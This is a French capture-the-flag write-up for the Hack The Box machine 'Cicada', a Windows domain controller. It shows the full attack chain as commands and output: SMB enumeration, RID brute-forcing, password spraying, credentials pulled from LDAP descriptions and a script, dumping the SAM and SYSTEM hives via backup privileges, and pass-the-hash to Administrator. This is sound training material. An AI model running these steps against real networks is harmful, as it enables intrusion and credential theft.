Cicada

IMPORTANT : Ce compte-rendu a été rédigé la semaine où la machine était active durant la saison, mais publié à la fin de la saison afin de ne pas impacter son déroulement conformément aux règles de la plateforme

Lien vers l’épreuve : https://app.hackthebox.com/machines/Cicada

Easy

Sommaire

Reconnaissance

nmap -T4 -A cicada.htb    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 10:52 CEST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.024s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-05 15:52:50Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m32s
| smb2-time: 
|   date: 2024-10-05T15:53:39
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   24.83 ms 10.10.14.1
2   24.78 ms cicada.htb (10.10.11.35)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.34 seconds

Le scan NMAP nous indique que la machine est un serveur Windows 2022, contenant des services DNS, Active Directory, ainsi qu’un service Samba (partage de fichier) sur le port 445.

Enumération du service Samba

Parcourir les dossiers

Nous commençons par vérifier si des informations sont disponibles sans authentification sur le service de partage de documents.

Nous utiliserons les commandes smbclient proposées sur le site HackTricks.

smbclient --no-pass -L //cicada.htb/ADMIN$

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	DEV             Disk      
	HR              Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to cicada.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Cette première commande nous permet de lister les dossiers en partage. Nous tentons de nous connecter aux différents dossiers.

Si l’accès n’est pas permis pour la plupart, nous sommes néanmoins capables de nous connecter au dossier DEV mais sans droit de regarder le contenu :

smbclient --no-pass //cicada.htb/DEV
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

L’accès au dossier HR nous permet en revanche de lister le contenu et de le récupérer

smbclient --no-pass //cicada.htb/HR 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 337588 blocks available

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (12,6 KiloBytes/sec) (average 12,6 KiloBytes/sec)

La note contient des informations à destination des nouveaux employés, notamment le mot de passe par défaut de sa session.

cat "Notice from HR.txt" 

Dear new hire!
[...expurgé pour brièveté...]
Your default password is: Cicada[...expurgé...]p!8
To change your password:
[...expurgé pour brièveté...]
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp

Il nous faut maintenant trouver un nom d’utilisateur qui fonctionnera avec ce mot de passe.

Trouver des utilisateurs

Nous parvenons à récupérer une liste d’utilisateurs grâce à l’outil netexec (remplaçant de crackmapexec). Nous utilisons grep pour filtrer les ne garder que les utilisateurs, l’outil récupérant également des noms de groupes dans l’Active Directory.

netexec smb cicada.htb -u guest -p '' --rid-brute | grep -i typeuser                    
SMB                      10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Nous testons ensuite les paires identifiants / mot de passe :

netexec ldap cicada.htb -u users.txt -p 'Cicada[...expurgé...]p!8' --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.35     389    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada[...expurgé...]p!8
LDAP        10.10.11.35     389    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada[...expurgé...]p!8
LDAP        10.10.11.35     389    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada[...expurgé...]p!8
LDAP        10.10.11.35     389    CICADA-DC        [-] cicada.htb\david.orelious:Cicada[...expurgé...]p!8
LDAP        10.10.11.35     389    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada[...expurgé...]p!8

Le compte de Michael Wrightson répond positivement à la requête, indiquant que le compte n’a pas changé de mot de passe et est donc vulnérable.

Escalade horizontale

Nous tentons d’accéder aux diverses ressources avec les identifiants découverts, sans succès pour le moment :

evil-winrm -i cicada.htb -u michael.wrightson  -p 'Cicada[...expurgé...]p!8'
[...expurgé pour brièveté...]
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
smbclient //cicada.htb/DEV/ -U michael.wrightson
Password for [WORKGROUP\michael.wrightson]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

Nous continuons donc d’énumérer l’Active Directory et observons un mot de passe écrit en clair pour un autre utilisateur David Orelious

netexec ldap cicada.htb -u michael.wrightson -p 'Cicada[...expurgé...]p!8' --users
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.35     389    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada[...expurgé...]p!8
LDAP        10.10.11.35     389    CICADA-DC        [*] Enumerated 8 domain users: cicada.htb
LDAP        10.10.11.35     389    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-
LDAP        10.10.11.35     389    CICADA-DC        Administrator                 2024-08-26 20:08:03 0       Built-in account for administering the computer/domain
LDAP        10.10.11.35     389    CICADA-DC        Guest                         2024-08-28 17:26:56 0       Built-in account for guest access to the computer/domain
LDAP        10.10.11.35     389    CICADA-DC        krbtgt                        2024-03-14 11:14:10 2       Key Distribution Center Service Account
LDAP        10.10.11.35     389    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 7
LDAP        10.10.11.35     389    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 5
LDAP        10.10.11.35     389    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0
LDAP        10.10.11.35     389    CICADA-DC        david.orelious                2024-03-14 12:17:29 3       Just in case I forget my password is aRt[...expurgé...]VQ!3
LDAP        10.10.11.35     389    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 1

Il n’est toujours pas possible d’utiliser evil-winrm avec cet utilisateur, mais nous parvenons à récupérer un script dans le dossier DEV inaccessible jusqu’à présent.

smbclient //cicada.htb/DEV/ -U david.orelious 
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:31:39 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024

		4168447 blocks of size 4096. 220359 blocks available
smb: \> get Backup_script.ps1 
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (5,8 KiloBytes/sec) (average 5,8 KiloBytes/sec)

Ce script Powershell contient les identifiants d’un autre utilisateur Emily Oscars

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@[...expurgé...]*Vt" -AsPlainText -Force
[...expurgé pour brièveté...]

Nous avons à présent un accès à la machine grâce à ces identifiants

evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@[...expurgé...]*Vt' 
[...expurgé pour brièveté...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars

Le flag utilisateur se trouve régulièrement sur le bureau de l’utilisateur, nous pouvons donc lire son contenu :

Get-Content ..\Desktop\user.txt
408c7a[...expurgé...]a23381

Exploration

En nous intéressant aux privilèges de l’utilistrice Emily, nous constatons qu’elle dispose de droits pour sauvegarder des fichiers et des dossiers.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

En suivant les instructions du site HackTricks nous sommes en mesure de sauvegarder et extraire des clés de registres qui seront utiles pour récupérer les hashes de mots de passe. Nous utilisons un dossier temporaire dans le répertoire Music de l’utilisatrice afin de limiter les interactions avec les autres utilisateurs. Puis nous effaçons nos traces une fois le téléchargement effectué.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> reg save hklm\sam C:\Users\emily.oscars.CICADA\Music\temp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> reg save hklm\system C:\Users\emily.oscars.CICADA\Music\temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> download sam
                                        
Info: Downloading C:\Users\emily.oscars.CICADA\Music\temp\sam to sam
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> download system
                                        
Info: Downloading C:\Users\emily.oscars.CICADA\Music\temp\system to system
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> cd ../../Documents
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> rm -r ../Music/temp

Escalade de privilège

Nous pouvons utiliser l’outil pypykatz afin de récupérer les secrets récupérés à l’étape précédente. Nous obtenons ainsi les hashes de mots de passe, notamment du compte Administrator

pypykatz registry --sam sam system
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7[...expurgé...]16f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Nous pouvons réutiliser l’outil evil-winrm et la technique du pass-the-hash pour nous connecter à la machine en tant qu’Administrator

evil-winrm -i cicada.htb -u Administrator -H 2b87e7[...expurgé...]16f341
[...expurgé pour brièveté...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator

Nous pouvons à présent récupérer le contenu du flag présent sur le bureau de l’administrateur

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Content ..\Desktop\root.txt
ed552d[...expurgé...]8abab0